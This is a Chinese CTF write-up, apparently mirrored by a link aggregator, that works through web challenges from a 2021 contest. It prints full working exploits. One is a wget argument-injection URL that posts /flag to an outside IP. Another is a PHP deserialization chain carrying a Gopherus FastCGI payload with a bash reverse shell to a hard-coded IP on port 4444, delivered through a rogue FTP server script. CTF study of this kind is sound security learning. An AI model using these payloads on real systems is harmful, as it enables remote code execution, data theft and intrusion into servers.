0

11月陇原战疫2021网络安全大赛赛后部分web复现

 2 years ago
source link: https://fanygit.github.io/2021/11/08/11%E6%9C%88%E9%99%87%E5%8E%9F%E6%88%98%E7%96%AB2021%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B%E8%B5%9B%E5%90%8E%E9%83%A8%E5%88%86web%E5%A4%8D%E7%8E%B0/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

打自闭了,一道做不起。

CheckIN

go代码审计

package main

import (
"fmt"
"io"
"time"
"bytes"
"regexp"
"os/exec"
"plugin"
"gopkg.in/mgo.v2"
"gopkg.in/mgo.v2/bson"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-contrib/multitemplate"
"net/http"
)


type Url struct {
Url string `json:"url" binding:"required"`
}

type User struct {
Username string
Password string
}

const MOGODB_URI = "127.0.0.1:27017"


// 中间间:验证登录
func MiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
session := sessions.Default(c)

if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('You are not admin!');window.location.href='/login'</script>")
return
}

c.Next()
}
}

// 登录
func loginController(c *gin.Context) {

session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
// 拿到前台传入的 用户名和密码
username := c.PostForm("username")
password := c.PostForm("password")
// 判断用户名或密码是否为空
if username == "" || password == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('The username or password is empty');window.location.href='/login'</script>")
return
}
// 连接数据库
conn, err := mgo.Dial(MOGODB_URI)
if err != nil {
panic(err)
}

defer conn.Close()
conn.SetMode(mgo.Monotonic, true)

db_table := conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)

if result.Username == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('Login Failed!');window.location.href='/login'</script>")
return
}

if username == result.Username || password == result.Password {
session.Set("username", username)
session.Set("password", password)
session.Save()
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "<script>alert('Pretend you logged in successfully');window.location.href='/login'</script>")
return
}
}

func proxyController(c *gin.Context) {

var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
// 匹配
re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
if re.MatchString(url.Url) {
c.JSON(403, gin.H{"msg": "Url Forbidden"})
return
}

client := &http.Client{Timeout: 2 * time.Second}
// 可以进行http请求
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {

break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}

func getController(c *gin.Context) {

// 只执行命令 不返回结果
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}

c.String(http.StatusOK, "Nothing")
}


func createMyRender() multitemplate.Renderer {
r := multitemplate.NewRenderer()
r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
return r
}


func main() {
router := gin.Default()
router.Static("/static", "./static")

p, err := plugin.Open("sess_init.so")
if err != nil {
panic(err)
}

f, err := p.Lookup("Sessinit")
if err != nil {
panic(err)
}
key := f.(func() string)()

storage := cookie.NewStore([]byte(key))
router.Use(sessions.Sessions("mysession", storage))
router.HTMLRender = createMyRender()
router.MaxMultipartMemory = 8 << 20

router.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Redirect(http.StatusFound, "/login")
return
}
})

router.GET("/login", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
c.HTML(200, "login", gin.H{
"title": "CheckIn",
})
})

router.GET("/home", MiddleWare(), func(c *gin.Context) {
c.HTML(200, "home", gin.H{
"title": "CheckIn",
})
})

router.POST("/proxy", MiddleWare(), proxyController)
router.GET("/wget", getController)
router.POST("/login", loginController)

_ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
}

第一次遇到这种题,代码都看不懂,分析半天,看了wp后,发现只需要利用/wget

payload

/wget?argv=1&argv=--post-file&argv=/flag&argv=http://xx.xx.xx.xx:4444

eaaasyphp

php反序列化

FTP-SSRF 攻击 FPM/FastCGI

 <?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
public function __wakeup()
{
Check::$str1 = true;
}
}


class Hint {

public function __wakeup(){
$this->hint = "no hint";
}

public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}


class Bunny {

public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {

public function __destruct()
{
if (Check::$str1) {
($this->str4)();
} else {
throw new Error("Error");
}
}
}

if (isset($_GET['code'])) {
unserialize($_GET['code']);
} else {
highlight_file(__FILE__);
}

分析确定了利用点Bunny::file_put_contents($this->filename, $this->data);,这里链子的构造也很简单,Bypass::__destruct->Welcome::__invoke->Bunny::__toString->file_put_contents($this->filename, $this->data);。但是在Bypass::__destruct里有一个条件Check::$str1,这个$str1默认为false,要想变为true,需要反序列化Esle类,但又没有其他属性可以控制,这道题我到这直接嗝屁,后来问了几位师傅,说是可以自己构造属性来调用Else,我纳闷还有这种操作,我以为反序列化只能控制已经定义的属性,这次真的又学到了。

直接贴payload

<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
// __wakeup(),执行unserialize()时,先会调用这个函数
public function __wakeup()
{
Check::$str1 = true;
}
}

class Bunny {

public function __toString()
{
echo "__toString";
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
// 利用点
// Bypass::__destruct->Welcome::__invoke->Bunny::__toString
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
// __invoke(),调用函数的方式调用一个对象时的回应方法
public function __invoke()
{
echo "__invoke";
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {
public function __construct()
{
// 自己构造
$this->esle = new Esle();
}


public function __destruct()
{
echo "__destruct";
if (Check::$str1) {
// $this->str4 Welcome
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$b1 = new Bunny();
$b1->data = "123";
$b1->filename = "1.txt";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo serialize($by);
O:6:"Bypass":2:{s:4:"esle";O:4:"Esle":0:{}s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":2:{s:4:"data";s:3:"123";s:8:"filename";s:5:"1.txt";}}}

在本地搭建环境进行测试

可以正常写入

但是放在比赛环境里就不能写入,猜测应该是没有写入权限。

看了wp,利用了file_put_contents($this->filename, $this->data)这里,直接通过SSRF 攻击 FPM/FastCGI。

首先通过gopherus脚本生成payload

f:\Tools\WEB\Python-Tools\Gopherus-master
> python gopherus.py --exploit fastcgi


________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/

author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one: /var/www/html/index.php
Terminal command to run: bash -c "bash -i >& /dev/tcp/vpsip/4444 0>&1"

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

用下面这段

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/vpsip/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

接下来将这段payload带入序列化

<?php

class Check {
public static $str1 = false;
public static $str2 = false;
}


class Esle {
// __wakeup(),执行unserialize()时,先会调用这个函数
public function __wakeup()
{
Check::$str1 = true;
}
}

class Bunny {

public function __toString()
{
echo "__toString";
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
// 利用点
// Bypass::__destruct->Welcome::__invoke->Bunny::__toString
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}

class Welcome {
// __invoke(),调用函数的方式调用一个对象时的回应方法
public function __invoke()
{
echo "__invoke";
Check::$str2 = true;
return "Welcome" . $this->username;
}
}

class Bypass {
public function __construct()
{
// 自己构造
$this->esle = new Esle();
}


public function __destruct()
{
echo "__destruct";
if (Check::$str1) {
// $this->str4 Welcome
($this->str4)();
} else {
throw new Error("Error");
}
}
}

$b1 = new Bunny();
$b1->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/121.4.65.44/4444%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00");
$b1->filename = "ftp://[email protected]:23/123";

$we = new Welcome();
$we->username = $b1;

$by = new Bypass();
$by->str4 = $we;


echo urlencode(serialize($by));
O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22esle%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7Ds%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A4%3A%22data%22%3Bs%3A413%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo+%2F+fcgiclient+%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include+%3D+On%0Adisable_functions+%3D+%0Aauto_prepend_file+%3D+php%3A%2F%2Finput%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0D%01DOCUMENT_ROOT%2F%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp+system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F121.4.65.44%2F4444+0%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00%22%3Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22ftp%3A%2F%2Faaa%40121.4.65.44%3A23%2F123%22%3B%7D%7D%7D

接下来在vps上运行恶意ftp服务器

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

再用nc监听4444端口

最后,只需要提交反序列化得到的payload

EasyJaba

目前未找到wp


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK